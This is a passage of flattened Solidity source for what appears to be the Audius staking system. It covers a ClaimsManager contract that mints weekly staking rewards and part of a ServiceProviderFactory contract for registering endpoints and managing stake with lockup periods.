* @notice Get total number of versions for a service type
* @param _serviceType - type of service
*/
function getNumberOfVersions(bytes32 _serviceType)
external view returns (uint256)
{
_requireIsInitialized();
return serviceTypeVersions[_serviceType].length;
}
/**
* @notice Return boolean indicating whether given version is valid for given type
* @param _serviceType - type of service
* @param _serviceVersion - version of service to check
*/
function serviceVersionIsValid(bytes32 _serviceType, bytes32 _serviceVersion)
external view returns (bool)
{
_requireIsInitialized();
return serviceTypeVersionInfo[_serviceType][_serviceVersion];
}
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"ServiceTypeManager: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
}
// File: contracts/ClaimsManager.sol
pragma solidity ^0.5.0;
/// @notice ERC20 imported via Staking.sol
/// @notice SafeERC20 imported via Staking.sol
/// @notice Governance imported via Staking.sol
/// @notice SafeMath imported via ServiceProviderFactory.sol
/**
* Designed to automate claim funding, minting tokens as necessary
* @notice - will call InitializableV2 constructor
*/
contract ClaimsManager is InitializableV2 {
using SafeMath for uint256;
using SafeERC20 for ERC20;
string private constant ERROR_ONLY_GOVERNANCE = (
"ClaimsManager: Only callable by Governance contract"
);
address private governanceAddress;
address private stakingAddress;
address private serviceProviderFactoryAddress;
address private delegateManagerAddress;
/**
* @notice - Minimum number of blocks between funding rounds
* 604800 seconds / week
* Avg block time - 13s
* 604800 / 13 = 46523.0769231 blocks
*/
uint256 private fundingRoundBlockDiff;
/**
* @notice - Configures the current funding amount per round
* Weekly rounds, 7% PA inflation = 70,000,000 new tokens in first year
* = 70,000,000/365*7 (year is slightly more than a week)
* = 1342465.75342 new AUDS per week
* = 1342465753420000000000000 new wei units per week
* @dev - Past a certain block height, this schedule will be updated
* - Logic determining schedule will be sourced from an external contract
*/
uint256 private fundingAmount;
// Denotes current round
uint256 private roundNumber;
// Staking contract ref
ERC20Mintable private audiusToken;
/// @dev - Address to which recurringCommunityFundingAmount is transferred at funding round start
address private communityPoolAddress;
/// @dev - Reward amount transferred to communityPoolAddress at funding round start
uint256 private recurringCommunityFundingAmount;
// Struct representing round state
// 1) Block at which round was funded
// 2) Total funded for this round
// 3) Total claimed in round
struct Round {
uint256 fundedBlock;
uint256 fundedAmount;
uint256 totalClaimedInRound;
}
// Current round information
Round private currentRound;
event RoundInitiated(
uint256 indexed _blockNumber,
uint256 indexed _roundNumber,
uint256 indexed _fundAmount
);
event ClaimProcessed(
address indexed _claimer,
uint256 indexed _rewards,
uint256 _oldTotal,
uint256 indexed _newTotal
);
event CommunityRewardsTransferred(
address indexed _transferAddress,
uint256 indexed _amount
);
event FundingAmountUpdated(uint256 indexed _amount);
event FundingRoundBlockDiffUpdated(uint256 indexed _blockDifference);
event GovernanceAddressUpdated(address indexed _newGovernanceAddress);
event StakingAddressUpdated(address indexed _newStakingAddress);
event ServiceProviderFactoryAddressUpdated(address indexed _newServiceProviderFactoryAddress);
event DelegateManagerAddressUpdated(address indexed _newDelegateManagerAddress);
event RecurringCommunityFundingAmountUpdated(uint256 indexed _amount);
event CommunityPoolAddressUpdated(address indexed _newCommunityPoolAddress);
/**
* @notice Function to initialize the contract
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed
* @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed
* @param _tokenAddress - address of ERC20 token that will be claimed
* @param _governanceAddress - address for Governance proxy contract
*/
function initialize(
address _tokenAddress,
address _governanceAddress
) public initializer
{
_updateGovernanceAddress(_governanceAddress);
audiusToken = ERC20Mintable(_tokenAddress);
fundingRoundBlockDiff = 46523;
fundingAmount = 1342465753420000000000000; // 1342465.75342 AUDS
roundNumber = 0;
currentRound = Round({
fundedBlock: 0,
fundedAmount: 0,
totalClaimedInRound: 0
});
// Community pool funding amount and address initialized to zero
recurringCommunityFundingAmount = 0;
communityPoolAddress = address(0x0);
InitializableV2.initialize();
}
/// @notice Get the duration of a funding round in blocks
function getFundingRoundBlockDiff() external view returns (uint256)
{
_requireIsInitialized();
return fundingRoundBlockDiff;
}
/// @notice Get the last block where a funding round was initiated
function getLastFundedBlock() external view returns (uint256)
{
_requireIsInitialized();
return currentRound.fundedBlock;
}
/// @notice Get the amount funded per round in wei
function getFundsPerRound() external view returns (uint256)
{
_requireIsInitialized();
return fundingAmount;
}
/// @notice Get the total amount claimed in the current round
function getTotalClaimedInRound() external view returns (uint256)
{
_requireIsInitialized();
return currentRound.totalClaimedInRound;
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/**
* @notice Get the Staking address
*/
function getStakingAddress() external view returns (address)
{
_requireIsInitialized();
return stakingAddress;
}
/**
* @notice Get the community pool address
*/
function getCommunityPoolAddress() external view returns (address)
{
_requireIsInitialized();
return communityPoolAddress;
}
/**
* @notice Get the community funding amount
*/
function getRecurringCommunityFundingAmount() external view returns (uint256)
{
_requireIsInitialized();
return recurringCommunityFundingAmount;
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
emit GovernanceAddressUpdated(_governanceAddress);
}
/**
* @notice Set the Staking address
* @dev Only callable by Governance address
* @param _stakingAddress - address for new Staking contract
*/
function setStakingAddress(address _stakingAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
stakingAddress = _stakingAddress;
emit StakingAddressUpdated(_stakingAddress);
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by Governance address
* @param _serviceProviderFactoryAddress - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _serviceProviderFactoryAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceProviderFactoryAddress = _serviceProviderFactoryAddress;
emit ServiceProviderFactoryAddressUpdated(_serviceProviderFactoryAddress);
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by Governance address
* @param _delegateManagerAddress - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _delegateManagerAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
delegateManagerAddress = _delegateManagerAddress;
emit DelegateManagerAddressUpdated(_delegateManagerAddress);
}
/**
* @notice Start a new funding round
* @dev Permissioned to be callable by stakers or governance contract
*/
function initiateRound() external {
_requireIsInitialized();
_requireStakingAddressIsSet();
require(
block.number.sub(currentRound.fundedBlock) > fundingRoundBlockDiff,
"ClaimsManager: Required block difference not met"
);
currentRound = Round({
fundedBlock: block.number,
fundedAmount: fundingAmount,
totalClaimedInRound: 0
});
roundNumber = roundNumber.add(1);
/*
* Transfer community funding amount to community pool address, if set
*/
if (recurringCommunityFundingAmount > 0 && communityPoolAddress != address(0x0)) {
// ERC20Mintable always returns true
audiusToken.mint(address(this), recurringCommunityFundingAmount);
// Approve transfer to community pool address
audiusToken.approve(communityPoolAddress, recurringCommunityFundingAmount);
// Transfer to community pool address
ERC20(address(audiusToken)).safeTransfer(communityPoolAddress, recurringCommunityFundingAmount);
emit CommunityRewardsTransferred(communityPoolAddress, recurringCommunityFundingAmount);
}
emit RoundInitiated(
currentRound.fundedBlock,
roundNumber,
currentRound.fundedAmount
);
}
/**
* @notice Mints and stakes tokens on behalf of ServiceProvider + delegators
* @dev Callable through DelegateManager by Service Provider
* @param _claimer - service provider address
* @param _totalLockedForSP - amount of tokens locked up across DelegateManager + ServiceProvider
* @return minted rewards for this claimer
*/
function processClaim(
address _claimer,
uint256 _totalLockedForSP
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
require(
msg.sender == delegateManagerAddress,
"ClaimsManager: ProcessClaim only accessible to DelegateManager"
);
Staking stakingContract = Staking(stakingAddress);
// Prevent duplicate claim
uint256 lastUserClaimBlock = stakingContract.lastClaimedFor(_claimer);
require(
lastUserClaimBlock <= currentRound.fundedBlock,
"ClaimsManager: Claim already processed for user"
);
uint256 totalStakedAtFundBlockForClaimer = stakingContract.totalStakedForAt(
_claimer,
currentRound.fundedBlock);
(,,bool withinBounds,,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(_claimer)
);
// Once they claim the zero reward amount, stake can be modified once again
// Subtract total locked amount for SP from stake at fund block
uint256 totalActiveClaimerStake = totalStakedAtFundBlockForClaimer.sub(_totalLockedForSP);
uint256 totalStakedAtFundBlock = stakingContract.totalStakedAt(currentRound.fundedBlock);
// Calculate claimer rewards
uint256 rewardsForClaimer = (
totalActiveClaimerStake.mul(fundingAmount)
).div(totalStakedAtFundBlock);
// For a claimer violating bounds, no new tokens are minted
// Claim history is marked to zero and function is short-circuited
// Total rewards can be zero if all stake is currently locked up
if (!withinBounds || rewardsForClaimer == 0) {
stakingContract.updateClaimHistory(0, _claimer);
emit ClaimProcessed(
_claimer,
0,
totalStakedAtFundBlockForClaimer,
totalActiveClaimerStake
);
return 0;
}
// ERC20Mintable always returns true
audiusToken.mint(address(this), rewardsForClaimer);
// Approve transfer to staking address for claimer rewards
// ERC20 always returns true
audiusToken.approve(stakingAddress, rewardsForClaimer);
// Transfer rewards
stakingContract.stakeRewards(rewardsForClaimer, _claimer);
// Update round claim value
currentRound.totalClaimedInRound = currentRound.totalClaimedInRound.add(rewardsForClaimer);
// Update round claim value
uint256 newTotal = stakingContract.totalStakedFor(_claimer);
emit ClaimProcessed(
_claimer,
rewardsForClaimer,
totalStakedAtFundBlockForClaimer,
newTotal
);
return rewardsForClaimer;
}
/**
* @notice Modify funding amount per round
* @param _newAmount - new amount to fund per round in wei
*/
function updateFundingAmount(uint256 _newAmount) external
{
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
fundingAmount = _newAmount;
emit FundingAmountUpdated(_newAmount);
}
/**
* @notice Returns boolean indicating whether a claim is considered pending
* @dev Note that an address with no endpoints can never have a pending claim
* @param _sp - address of the service provider to check
* @return true if eligible for claim, false if not
*/
function claimPending(address _sp) external view returns (bool) {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
uint256 lastClaimedForSP = Staking(stakingAddress).lastClaimedFor(_sp);
(,,,uint256 numEndpoints,,) = (
ServiceProviderFactory(serviceProviderFactoryAddress).getServiceProviderDetails(_sp)
);
return (lastClaimedForSP < currentRound.fundedBlock && numEndpoints > 0);
}
/**
* @notice Modify minimum block difference between funding rounds
* @param _newFundingRoundBlockDiff - new min block difference to set
*/
function updateFundingRoundBlockDiff(uint256 _newFundingRoundBlockDiff) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
emit FundingRoundBlockDiffUpdated(_newFundingRoundBlockDiff);
fundingRoundBlockDiff = _newFundingRoundBlockDiff;
}
/**
* @notice Modify community funding amound for each round
* @param _newRecurringCommunityFundingAmount - new reward amount transferred to
* communityPoolAddress at funding round start
*/
function updateRecurringCommunityFundingAmount(
uint256 _newRecurringCommunityFundingAmount
) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
recurringCommunityFundingAmount = _newRecurringCommunityFundingAmount;
emit RecurringCommunityFundingAmountUpdated(_newRecurringCommunityFundingAmount);
}
/**
* @notice Modify community pool address
* @param _newCommunityPoolAddress - new address to which recurringCommunityFundingAmount
* is transferred at funding round start
*/
function updateCommunityPoolAddress(address _newCommunityPoolAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
communityPoolAddress = _newCommunityPoolAddress;
emit CommunityPoolAddressUpdated(_newCommunityPoolAddress);
}
// ========================================= Private Functions =========================================
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) private {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"ClaimsManager: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
function _requireStakingAddressIsSet() private view {
require(stakingAddress != address(0x00), "ClaimsManager: stakingAddress is not set");
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"ClaimsManager: delegateManagerAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"ClaimsManager: serviceProviderFactoryAddress is not set"
);
}
}
// File: contracts/ServiceProviderFactory.sol
pragma solidity ^0.5.0;
/// @notice Governance imported via Staking.sol
contract ServiceProviderFactory is InitializableV2 {
using SafeMath for uint256;
/// @dev - denominator for deployer cut calculations
/// @dev - user values are intended to be x/DEPLOYER_CUT_BASE
uint256 private constant DEPLOYER_CUT_BASE = 100;
string private constant ERROR_ONLY_GOVERNANCE = (
"ServiceProviderFactory: Only callable by Governance contract"
);
string private constant ERROR_ONLY_SP_GOVERNANCE = (
"ServiceProviderFactory: Only callable by Service Provider or Governance"
);
address private stakingAddress;
address private delegateManagerAddress;
address private governanceAddress;
address private serviceTypeManagerAddress;
address private claimsManagerAddress;
/// @notice Period in blocks that a decrease stake operation is delayed.
/// Must be greater than governance votingPeriod + executionDelay in order to
/// prevent pre-emptive withdrawal in anticipation of a slash proposal
uint256 private decreaseStakeLockupDuration;
/// @notice Period in blocks that an update deployer cut operation is delayed.
/// Must be greater than funding round block diff in order
/// to prevent manipulation around a funding round
uint256 private deployerCutLockupDuration;
/// @dev - Stores following entities
/// 1) Directly staked amount by SP, not including delegators
/// 2) % Cut of delegator tokens taken during reward
/// 3) Bool indicating whether this SP has met min/max requirements
/// 4) Number of endpoints registered by SP
/// 5) Minimum deployer stake for this service provider
/// 6) Maximum total stake for this account
struct ServiceProviderDetails {
uint256 deployerStake;
uint256 deployerCut;
bool validBounds;
uint256 numberOfEndpoints;
uint256 minAccountStake;
uint256 maxAccountStake;
}
/// @dev - Data structure for time delay during withdrawal
struct DecreaseStakeRequest {
uint256 decreaseAmount;
uint256 lockupExpiryBlock;
}
/// @dev - Data structure for time delay during deployer cut update
struct UpdateDeployerCutRequest {
uint256 newDeployerCut;
uint256 lockupExpiryBlock;
}
/// @dev - Struct maintaining information about sp
/// @dev - blocknumber is block.number when endpoint registered
struct ServiceEndpoint {
address owner;
string endpoint;
uint256 blocknumber;
address delegateOwnerWallet;
}
/// @dev - Mapping of service provider address to details
mapping(address => ServiceProviderDetails) private spDetails;
/// @dev - Uniquely assigned serviceProvider ID, incremented for each service type
/// @notice - Keeps track of the total number of services registered regardless of
/// whether some have been deregistered since
mapping(bytes32 => uint256) private serviceProviderTypeIDs;
/// @dev - mapping of (serviceType -> (serviceInstanceId <-> serviceProviderInfo))
/// @notice - stores the actual service provider data like endpoint and owner wallet
/// with the ability lookup by service type and service id */
mapping(bytes32 => mapping(uint256 => ServiceEndpoint)) private serviceProviderInfo;
/// @dev - mapping of keccak256(endpoint) to uint256 ID
/// @notice - used to check if a endpoint has already been registered and also lookup
/// the id of an endpoint
mapping(bytes32 => uint256) private serviceProviderEndpointToId;
/// @dev - mapping of address -> sp id array */
/// @notice - stores all the services registered by a provider. for each address,
/// provides the ability to lookup by service type and see all registered services
mapping(address => mapping(bytes32 => uint256[])) private serviceProviderAddressToId;
/// @dev - Mapping of service provider -> decrease stake request
mapping(address => DecreaseStakeRequest) private decreaseStakeRequests;
/// @dev - Mapping of service provider -> update deployer cut requests
mapping(address => UpdateDeployerCutRequest) private updateDeployerCutRequests;
event RegisteredServiceProvider(
uint256 indexed _spID,
bytes32 indexed _serviceType,
address indexed _owner,
string _endpoint,
uint256 _stakeAmount
);
event DeregisteredServiceProvider(
uint256 indexed _spID,
bytes32 indexed _serviceType,
address indexed _owner,
string _endpoint,
uint256 _unstakeAmount
);
event IncreasedStake(
address indexed _owner,
uint256 indexed _increaseAmount,
uint256 indexed _newStakeAmount
);
event DecreaseStakeRequested(
address indexed _owner,
uint256 indexed _decreaseAmount,
uint256 indexed _lockupExpiryBlock
);
event DecreaseStakeRequestCancelled(
address indexed _owner,
uint256 indexed _decreaseAmount,
uint256 indexed _lockupExpiryBlock
);
event DecreaseStakeRequestEvaluated(
address indexed _owner,
uint256 indexed _decreaseAmount,
uint256 indexed _newStakeAmount
);
event EndpointUpdated(
bytes32 indexed _serviceType,
address indexed _owner,
string _oldEndpoint,
string _newEndpoint,
uint256 indexed _spID
);
event DelegateOwnerWalletUpdated(
address indexed _owner,
bytes32 indexed _serviceType,
uint256 indexed _spID,
address _updatedWallet
);
event DeployerCutUpdateRequested(
address indexed _owner,
uint256 indexed _updatedCut,
uint256 indexed _lockupExpiryBlock
);
event DeployerCutUpdateRequestCancelled(
address indexed _owner,
uint256 indexed _requestedCut,
uint256 indexed _finalCut
);
event DeployerCutUpdateRequestEvaluated(
address indexed _owner,
uint256 indexed _updatedCut
);
event DecreaseStakeLockupDurationUpdated(uint256 indexed _lockupDuration);
event UpdateDeployerCutLockupDurationUpdated(uint256 indexed _lockupDuration);
event GovernanceAddressUpdated(address indexed _newGovernanceAddress);
event StakingAddressUpdated(address indexed _newStakingAddress);
event ClaimsManagerAddressUpdated(address indexed _newClaimsManagerAddress);
event DelegateManagerAddressUpdated(address indexed _newDelegateManagerAddress);
event ServiceTypeManagerAddressUpdated(address indexed _newServiceTypeManagerAddress);
/**
* @notice Function to initialize the contract
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed
* @dev serviceTypeManagerAddress must be initialized separately after ServiceTypeManager contract is deployed
* @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed
* @param _governanceAddress - Governance proxy address
*/
function initialize (
address _governanceAddress,
address _claimsManagerAddress,
uint256 _decreaseStakeLockupDuration,
uint256 _deployerCutLockupDuration
) public initializer
{
_updateGovernanceAddress(_governanceAddress);
claimsManagerAddress = _claimsManagerAddress;
_updateDecreaseStakeLockupDuration(_decreaseStakeLockupDuration);
_updateDeployerCutLockupDuration(_deployerCutLockupDuration);
InitializableV2.initialize();
}
/**
* @notice Register a new endpoint to the account of msg.sender
* @dev Transfers stake from service provider into staking pool
* @param _serviceType - type of service to register, must be valid in ServiceTypeManager
* @param _endpoint - url of the service to register - url of the service to register
* @param _stakeAmount - amount to stake, must be within bounds in ServiceTypeManager
* @param _delegateOwnerWallet - wallet to delegate some permissions for some basic management properties
* @return New service provider ID for this endpoint
*/
function register(
bytes32 _serviceType,
string calldata _endpoint,
uint256 _stakeAmount,
address _delegateOwnerWallet
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceTypeManagerAddressIsSet();
_requireClaimsManagerAddressIsSet();
require(
ServiceTypeManager(serviceTypeManagerAddress).serviceTypeIsValid(_serviceType),
"ServiceProviderFactory: Valid service type required");
// Stake token amount from msg.sender
if (_stakeAmount > 0) {
require(
!_claimPending(msg.sender),
"ServiceProviderFactory: No pending claim expected"
);
Staking(stakingAddress).stakeFor(msg.sender, _stakeAmount);
}
require (
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] == 0,
"ServiceProviderFactory: Endpoint already registered");
uint256 newServiceProviderID = serviceProviderTypeIDs[_serviceType].add(1);
serviceProviderTypeIDs[_serviceType] = newServiceProviderID;
// Index spInfo
serviceProviderInfo[_serviceType][newServiceProviderID] = ServiceEndpoint({
owner: msg.sender,
endpoint: _endpoint,
blocknumber: block.number,
delegateOwnerWallet: _delegateOwnerWallet
});
// Update endpoint mapping
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] = newServiceProviderID;
// Update (address -> type -> ids[])
serviceProviderAddressToId[msg.sender][_serviceType].push(newServiceProviderID);
// Increment number of endpoints for this address
spDetails[msg.sender].numberOfEndpoints = spDetails[msg.sender].numberOfEndpoints.add(1);
// Update deployer total
spDetails[msg.sender].deployerStake = (
spDetails[msg.sender].deployerStake.add(_stakeAmount)
);
// Update min and max totals for this service provider
(, uint256 typeMin, uint256 typeMax) = ServiceTypeManager(
serviceTypeManagerAddress
).getServiceTypeInfo(_serviceType);
spDetails[msg.sender].minAccountStake = spDetails[msg.sender].minAccountStake.add(typeMin);
spDetails[msg.sender].maxAccountStake = spDetails[msg.sender].maxAccountStake.add(typeMax);
// Confirm both aggregate account balance and directly staked amount are valid
this.validateAccountStakeBalance(msg.sender);
uint256 currentlyStakedForOwner = Staking(stakingAddress).totalStakedFor(msg.sender);
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
emit RegisteredServiceProvider(
newServiceProviderID,
_serviceType,
msg.sender,
_endpoint,
currentlyStakedForOwner
);
return newServiceProviderID;
}
/**
* @notice Deregister an endpoint from the account of msg.sender
* @dev Unstakes all tokens for service provider if this is the last endpoint
* @param _serviceType - type of service to deregister
* @param _endpoint - endpoint to deregister
* @return spId of the service that was deregistered
*/
function deregister(
bytes32 _serviceType,
string calldata _endpoint
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceTypeManagerAddressIsSet();
// Unstake on deregistration if and only if this is the last service endpoint
uint256 unstakeAmount = 0;
bool unstaked = false;
// owned by the service provider
if (spDetails[msg.sender].numberOfEndpoints == 1) {
unstakeAmount = spDetails[msg.sender].deployerStake;
// Submit request to decrease stake, overriding any pending request
decreaseStakeRequests[msg.sender] = DecreaseStakeRequest({
decreaseAmount: unstakeAmount,
lockupExpiryBlock: block.number.add(decreaseStakeLockupDuration)
});
unstaked = true;
}
require (
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] != 0,
"ServiceProviderFactory: Endpoint not registered");
// Cache invalided service provider ID
uint256 deregisteredID = serviceProviderEndpointToId[keccak256(bytes(_endpoint))];
// Update endpoint mapping
serviceProviderEndpointToId[keccak256(bytes(_endpoint))] = 0;
require(
keccak256(bytes(serviceProviderInfo[_serviceType][deregisteredID].endpoint)) == keccak256(bytes(_endpoint)),
"ServiceProviderFactory: Invalid endpoint for service type");
require (
serviceProviderInfo[_serviceType][deregisteredID].owner == msg.sender,
"ServiceProviderFactory: Only callable by endpoint owner");
// Update info mapping
delete serviceProviderInfo[_serviceType][deregisteredID];
// Reset id, update array
uint256 spTypeLength = serviceProviderAddressToId[msg.sender][_serviceType].length;
for (uint256 i = 0; i < spTypeLength; i ++) {
if (serviceProviderAddressToId[msg.sender][_serviceType][i] == deregisteredID) {
// Overwrite element to be deleted with last element in array
serviceProviderAddressToId[msg.sender][_serviceType][i] = serviceProviderAddressToId[msg.sender][_serviceType][spTypeLength - 1];
// Reduce array size, exit loop
serviceProviderAddressToId[msg.sender][_serviceType].length--;
// Confirm this ID has been found for the service provider
break;
}
}
// Decrement number of endpoints for this address
spDetails[msg.sender].numberOfEndpoints -= 1;
// Update min and max totals for this service provider
(, uint256 typeMin, uint256 typeMax) = ServiceTypeManager(
serviceTypeManagerAddress
).getServiceTypeInfo(_serviceType);
spDetails[msg.sender].minAccountStake = spDetails[msg.sender].minAccountStake.sub(typeMin);
spDetails[msg.sender].maxAccountStake = spDetails[msg.sender].maxAccountStake.sub(typeMax);
emit DeregisteredServiceProvider(
deregisteredID,
_serviceType,
msg.sender,
_endpoint,
unstakeAmount);
// Confirm both aggregate account balance and directly staked amount are valid
// Only if unstake operation has not occurred
if (!unstaked) {
this.validateAccountStakeBalance(msg.sender);
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
}
return deregisteredID;
}
/**
* @notice Increase stake for service provider
* @param _increaseStakeAmount - amount to increase staked amount by
* @return New total stake for service provider
*/
function increaseStake(
uint256 _increaseStakeAmount
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireClaimsManagerAddressIsSet();
// Confirm owner has an endpoint
require(
spDetails[msg.sender].numberOfEndpoints > 0,
"ServiceProviderFactory: Registered endpoint required to increase stake"
);
require(
!_claimPending(msg.sender),
"ServiceProviderFactory: No claim expected to be pending prior to stake transfer"
);
Staking stakingContract = Staking(
stakingAddress
);
// Stake increased token amount for msg.sender
stakingContract.stakeFor(msg.sender, _increaseStakeAmount);
uint256 newStakeAmount = stakingContract.totalStakedFor(msg.sender);
// Update deployer total
spDetails[msg.sender].deployerStake = (
spDetails[msg.sender].deployerStake.add(_increaseStakeAmount)
);
// Confirm both aggregate account balance and directly staked amount are valid
this.validateAccountStakeBalance(msg.sender);
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
emit IncreasedStake(
msg.sender,
_increaseStakeAmount,
newStakeAmount
);
return newStakeAmount;
}
/**
* @notice Request to decrease stake. This sets a lockup for decreaseStakeLockupDuration after
which the actual decreaseStake can be called
* @dev Decreasing stake is only processed if a service provider is within valid bounds
* @param _decreaseStakeAmount - amount to decrease stake by in wei
* @return New total stake amount after the lockup
*/
function requestDecreaseStake(uint256 _decreaseStakeAmount)
external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireClaimsManagerAddressIsSet();
require(
_decreaseStakeAmount > 0,
"ServiceProviderFactory: Requested stake decrease amount must be greater than zero"
);
require(
!_claimPending(msg.sender),
"ServiceProviderFactory: No claim expected to be pending prior to stake transfer"
);
Staking stakingContract = Staking(
stakingAddress
);
uint256 currentStakeAmount = stakingContract.totalStakedFor(msg.sender);
// Prohibit decreasing stake to invalid bounds
_validateBalanceInternal(msg.sender, (currentStakeAmount.sub(_decreaseStakeAmount)));
uint256 expiryBlock = block.number.add(decreaseStakeLockupDuration);
decreaseStakeRequests[msg.sender] = DecreaseStakeRequest({
decreaseAmount: _decreaseStakeAmount,
lockupExpiryBlock: expiryBlock
});
emit DecreaseStakeRequested(msg.sender, _decreaseStakeAmount, expiryBlock);
return currentStakeAmount.sub(_decreaseStakeAmount);
}
/**
* @notice Cancel a decrease stake request during the lockup
* @dev Either called by the service provider via DelegateManager or governance
during a slash action
* @param _account - address of service provider
*/
function cancelDecreaseStakeRequest(address _account) external
{
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == _account || msg.sender == delegateManagerAddress,
"ServiceProviderFactory: Only owner or DelegateManager"
);
require(
_decreaseRequestIsPending(_account),
"ServiceProviderFactory: Decrease stake request must be pending"
);
DecreaseStakeRequest memory cancelledRequest = decreaseStakeRequests[_account];
// Clear decrease stake request
decreaseStakeRequests[_account] = DecreaseStakeRequest({
decreaseAmount: 0,
lockupExpiryBlock: 0
});
emit DecreaseStakeRequestCancelled(
_account,
cancelledRequest.decreaseAmount,
cancelledRequest.lockupExpiryBlock
);
}
/**
* @notice Called by user to decrease a stake after waiting the appropriate lockup period.
* @return New total stake after decrease
*/
function decreaseStake() external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
require(
_decreaseRequestIsPending(msg.sender),
"ServiceProviderFactory: Decrease stake request must be pending"
);
require(
decreaseStakeRequests[msg.sender].lockupExpiryBlock <= block.number,
"ServiceProviderFactory: Lockup must be expired"
);
Staking stakingContract = Staking(
stakingAddress
);
uint256 decreaseAmount = decreaseStakeRequests[msg.sender].decreaseAmount;
// Decrease staked token amount for msg.sender
stakingContract.unstakeFor(msg.sender, decreaseAmount);
// Query current stake
uint256 newStakeAmount = stakingContract.totalStakedFor(msg.sender);
// Update deployer total
spDetails[msg.sender].deployerStake = (
spDetails[msg.sender].deployerStake.sub(decreaseAmount)
);
// Confirm both aggregate account balance and directly staked amount are valid
// During registration this validation is bypassed since no endpoints remain
if (spDetails[msg.sender].numberOfEndpoints > 0) {
this.validateAccountStakeBalance(msg.sender);
}
// Indicate this service provider is within bounds
spDetails[msg.sender].validBounds = true;
// Clear decrease stake request
delete decreaseStakeRequests[msg.sender];
emit DecreaseStakeRequestEvaluated(msg.sender, decreaseAmount, newStakeAmount);
return newStakeAmount;
}
/**
* @notice Update delegate owner wallet for a given endpoint
* @param _serviceType - type of service to register, must be valid in ServiceTypeManager
* @param _endpoint - url of the service to register - url of the service to register
* @param _updatedDelegateOwnerWallet - address of new delegate wallet
*/
function updateDelegateOwnerWallet(
bytes32 _serviceType,
string calldata _endpoint,
address _updatedDelegateOwnerWallet
) external
{
_requireIsInitialized();
uint256 spID = this.getServiceProviderIdFromEndpoint(_endpoint);
require(
serviceProviderInfo[_serviceType][spID].owner == msg.sender,
"ServiceProviderFactory: Invalid update operation, wrong owner"
);
serviceProviderInfo[_serviceType][spID].delegateOwnerWallet = _updatedDelegateOwnerWallet;
emit DelegateOwnerWalletUpdated(
msg.sender,
_serviceType,
spID,
_updatedDelegateOwnerWallet
);
}
/**
* @notice Update the endpoint for a given service
* @param _serviceType - type of service to register, must be valid in ServiceTypeManager
* @param _oldEndpoint - old endpoint currently registered
* @param _newEndpoint - new endpoint to replace old endpoint
* @return ID of updated service provider
*/
function updateEndpoint(
bytes32 _serviceType,
string calldata _oldEndpoint,
string calldata _newEndpoint
) external returns (uint256)
{
_requireIsInitialized();
uint256 spId = this.getServiceProviderIdFromEndpoint(_oldEndpoint);
require (
spId != 0,
"ServiceProviderFactory: Could not find service provider with that endpoint"
);
ServiceEndpoint memory serviceEndpoint = serviceProviderInfo[_serviceType][spId];
require(
serviceEndpoint.owner == msg.sender,
